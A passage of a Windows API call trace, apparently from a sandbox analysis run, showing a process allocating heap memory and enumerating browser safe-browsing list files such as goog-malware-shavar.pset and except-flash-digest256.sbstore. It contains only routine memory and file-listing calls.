lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0241.270] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661f90 [0241.270] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x5d394de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="except-flash-digest256.sbstore", cAlternateFileName="EXCEPT~1.SBS")) returned 1 [0241.270] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dc10 | out: hHeap=0x570000) returned 1 [0241.270] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0241.270] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b348 [0241.270] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0241.270] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664e90 [0241.270] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b348 | out: hHeap=0x570000) returned 1 [0241.270] GetLastError () returned 0x0 [0241.270] SetLastError (dwErrCode=0x0) [0241.270] GetLastError () returned 0x0 [0241.270] SetLastError (dwErrCode=0x0) [0241.270] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60df88 [0241.270] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664e90 | out: hHeap=0x570000) returned 1 [0241.270] GetLastError () returned 0x0 [0241.271] SetLastError (dwErrCode=0x0) [0241.271] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0241.271] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6640 [0241.271] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0241.271] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6640 | out: hHeap=0x570000) returned 1 [0241.271] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659ba8 [0241.271] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x5b9a2e1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="except-flashallow-digest256.pset", cAlternateFileName="EXCEPT~2.PSE")) returned 1 [0241.271] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60df88 | out: hHeap=0x570000) returned 1 [0241.271] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0241.271] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ae80 [0241.271] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0241.271] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664788 [0241.271] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0241.271] GetLastError () returned 0x0 [0241.271] SetLastError (dwErrCode=0x0) [0241.272] GetLastError () returned 0x0 [0241.272] SetLastError (dwErrCode=0x0) [0241.272] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e1d8 [0241.272] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664788 | out: hHeap=0x570000) returned 1 [0241.272] GetLastError () returned 0x0 [0241.272] SetLastError (dwErrCode=0x0) [0241.272] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be420 [0241.272] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be420 | out: hHeap=0x570000) returned 1 [0241.272] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6596d0 [0241.272] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x52202b3, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="except-flashallow-digest256.sbstore", cAlternateFileName="EXCEPT~2.SBS")) returned 1 [0241.272] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e1d8 | out: hHeap=0x570000) returned 1 [0241.272] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0241.272] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b568 [0241.272] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0241.272] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6643a0 [0241.272] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b568 | out: hHeap=0x570000) returned 1 [0241.272] GetLastError () returned 0x0 [0241.272] SetLastError (dwErrCode=0x0) [0241.272] GetLastError () returned 0x0 [0241.272] SetLastError (dwErrCode=0x0) [0241.272] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e550 [0241.272] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6643a0 | out: hHeap=0x570000) returned 1 [0241.272] GetLastError () returned 0x0 [0241.272] SetLastError (dwErrCode=0x0) [0241.272] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb00 [0241.272] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6780 [0241.272] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb00 | out: hHeap=0x570000) returned 1 [0241.272] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6780 | out: hHeap=0x570000) returned 1 [0241.272] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6597c8 [0241.273] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x60c4776, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="except-flashinfobar-digest256.pset", cAlternateFileName="EXCEPT~3.PSE")) returned 1 [0241.273] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e550 | out: hHeap=0x570000) returned 1 [0241.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0241.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b128 [0241.273] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0241.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664dc8 [0241.273] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0241.273] GetLastError () returned 0x0 [0241.273] SetLastError (dwErrCode=0x0) [0241.273] GetLastError () returned 0x0 [0241.273] SetLastError (dwErrCode=0x0) [0241.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dd38 [0241.273] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664dc8 | out: hHeap=0x570000) returned 1 [0241.273] GetLastError () returned 0x0 [0241.273] SetLastError (dwErrCode=0x0) [0241.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be370 [0241.273] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be370 | out: hHeap=0x570000) returned 1 [0241.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659ca0 [0241.273] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x5fb9149, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x22c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="except-flashinfobar-digest256.sbstore", cAlternateFileName="EXCEPT~3.SBS")) returned 1 [0241.273] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dd38 | out: hHeap=0x570000) returned 1 [0241.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0241.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b018 [0241.273] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0241.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665980 [0241.273] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b018 | out: hHeap=0x570000) returned 1 [0241.273] GetLastError () returned 0x0 [0241.273] SetLastError (dwErrCode=0x0) [0241.273] GetLastError () returned 0x0 [0241.273] SetLastError (dwErrCode=0x0) [0241.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e300 [0241.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665980 | out: hHeap=0x570000) returned 1 [0241.274] GetLastError () returned 0x0 [0241.274] SetLastError (dwErrCode=0x0) [0241.274] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be210 [0241.274] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6988 [0241.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be210 | out: hHeap=0x570000) returned 1 [0241.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6988 | out: hHeap=0x570000) returned 1 [0241.274] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660648 [0241.274] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x5fb4307, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="except-flashsubdoc-digest256.pset", cAlternateFileName="EXCEPT~4.PSE")) returned 1 [0241.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e300 | out: hHeap=0x570000) returned 1 [0241.274] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0241.274] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b678 [0241.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0241.274] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664dc8 [0241.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b678 | out: hHeap=0x570000) returned 1 [0241.274] GetLastError () returned 0x0 [0241.274] SetLastError (dwErrCode=0x0) [0241.274] GetLastError () returned 0x0 [0241.274] SetLastError (dwErrCode=0x0) [0241.274] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dd38 [0241.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664dc8 | out: hHeap=0x570000) returned 1 [0241.274] GetLastError () returned 0x0 [0241.274] SetLastError (dwErrCode=0x0) [0241.274] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be688 [0241.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be688 | out: hHeap=0x570000) returned 1 [0241.274] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659d98 [0241.274] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x5e7a69e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="except-flashsubdoc-digest256.sbstore", cAlternateFileName="EXCEPT~4.SBS")) returned 1 [0241.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dd38 | out: hHeap=0x570000) returned 1 [0241.274] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0241.275] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b2c0 [0241.275] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0241.275] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6643a0 [0241.275] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b2c0 | out: hHeap=0x570000) returned 1 [0241.275] GetLastError () returned 0x0 [0241.275] SetLastError (dwErrCode=0x0) [0241.275] GetLastError () returned 0x0 [0241.275] SetLastError (dwErrCode=0x0) [0241.275] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d898 [0241.275] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6643a0 | out: hHeap=0x570000) returned 1 [0241.275] GetLastError () returned 0x0 [0241.275] SetLastError (dwErrCode=0x0) [0241.275] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be630 [0241.275] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee69d8 [0241.275] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be630 | out: hHeap=0x570000) returned 1 [0241.275] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee69d8 | out: hHeap=0x570000) returned 1 [0241.275] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659e90 [0241.275] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c7267ee, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c7267ee, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3c7267ee, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x164ac, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="goog-badbinurl-shavar.pset", cAlternateFileName="GOOG-B~1.PSE")) returned 1 [0241.275] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d898 | out: hHeap=0x570000) returned 1 [0241.275] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0241.275] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b238 [0241.275] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0241.275] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665728 [0241.275] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0241.275] GetLastError () returned 0x0 [0241.275] SetLastError (dwErrCode=0x0) [0241.275] GetLastError () returned 0x0 [0241.275] SetLastError (dwErrCode=0x0) [0241.275] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dc10 [0241.275] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665728 | out: hHeap=0x570000) returned 1 [0241.276] GetLastError () returned 0x0 [0241.276] SetLastError (dwErrCode=0x0) [0241.276] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0241.276] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0241.276] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661a20 [0241.276] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c61b60e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c61b60e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3c641850, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xba3d, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="goog-badbinurl-shavar.sbstore", cAlternateFileName="GOOG-B~1.SBS")) returned 1 [0241.276] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dc10 | out: hHeap=0x570000) returned 1 [0241.276] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0241.276] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0241.276] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0241.276] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665020 [0241.276] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0241.276] GetLastError () returned 0x0 [0241.276] SetLastError (dwErrCode=0x0) [0241.276] GetLastError () returned 0x0 [0241.276] SetLastError (dwErrCode=0x0) [0241.276] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e300 [0241.276] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665020 | out: hHeap=0x570000) returned 1 [0241.276] GetLastError () returned 0x0 [0241.276] SetLastError (dwErrCode=0x0) [0241.276] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0241.276] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6898 [0241.276] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0241.276] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6898 | out: hHeap=0x570000) returned 1 [0241.276] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6591f8 [0241.276] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c798e05, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c798e05, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3c798e05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="goog-downloadwhite-digest256.pset", cAlternateFileName="GOOG-D~1.PSE")) returned 1 [0241.276] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e300 | out: hHeap=0x570000) returned 1 [0241.276] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0241.276] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b018 [0241.276] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0241.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6646c0 [0241.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b018 | out: hHeap=0x570000) returned 1 [0241.277] GetLastError () returned 0x0 [0241.277] SetLastError (dwErrCode=0x0) [0241.277] GetLastError () returned 0x0 [0241.277] SetLastError (dwErrCode=0x0) [0241.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e550 [0241.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6646c0 | out: hHeap=0x570000) returned 1 [0241.277] GetLastError () returned 0x0 [0241.277] SetLastError (dwErrCode=0x0) [0241.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be898 [0241.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be898 | out: hHeap=0x570000) returned 1 [0241.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6592f0 [0241.277] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c7267ee, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c7267ee, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3c74c913, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4dec, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="goog-downloadwhite-digest256.sbstore", cAlternateFileName="GOOG-D~1.SBS")) returned 1 [0241.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e550 | out: hHeap=0x570000) returned 1 [0241.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0241.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ae80 [0241.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0241.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664c38 [0241.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0241.277] GetLastError () returned 0x0 [0241.277] SetLastError (dwErrCode=0x0) [0241.277] GetLastError () returned 0x0 [0241.277] SetLastError (dwErrCode=0x0) [0241.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e0b0 [0241.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664c38 | out: hHeap=0x570000) returned 1 [0241.277] GetLastError () returned 0x0 [0241.277] SetLastError (dwErrCode=0x0) [0241.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb00 [0241.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65c8 [0241.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb00 | out: hHeap=0x570000) returned 1 [0241.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65c8 | out: hHeap=0x570000) returned 1 [0241.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6593e8 [0241.278] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cb9ee8b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3cb9ee8b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3cb9ee8b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5b40e, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="goog-malware-shavar.pset", cAlternateFileName="GOOG-M~1.PSE")) returned 1 [0241.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e0b0 | out: hHeap=0x570000) returned 1 [0241.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0241.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b128 [0241.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0241.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664d00 [0241.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0241.278] GetLastError () returned 0x0 [0241.278] SetLastError (dwErrCode=0x0) [0241.278] GetLastError () returned 0x0 [0241.278] SetLastError (dwErrCode=0x0) [0241.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e678 [0241.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664d00 | out: hHeap=0x570000) returned 1 [0241.278] GetLastError () returned 0x0 [0241.278] SetLastError (dwErrCode=0x0) [0241.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0241.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0241.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662c40 [0241.278] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c988c26, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c988c26, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3ca93c89, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x87d82, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="goog-malware-shavar.sbstore", cAlternateFileName="GOOG-M~1.SBS")) returned 1 [0241.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e678 | out: hHeap=0x570000) returned 1 [0241.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0241.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b5f0 [0241.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0241.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6642d8 [0241.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b5f0 | out: hHeap=0x570000) returned 1 [0241.278] GetLastError () returned 0x0 [0241.279] SetLastError (dwErrCode=0x0) [0241.279] GetLastError () returned 0x0 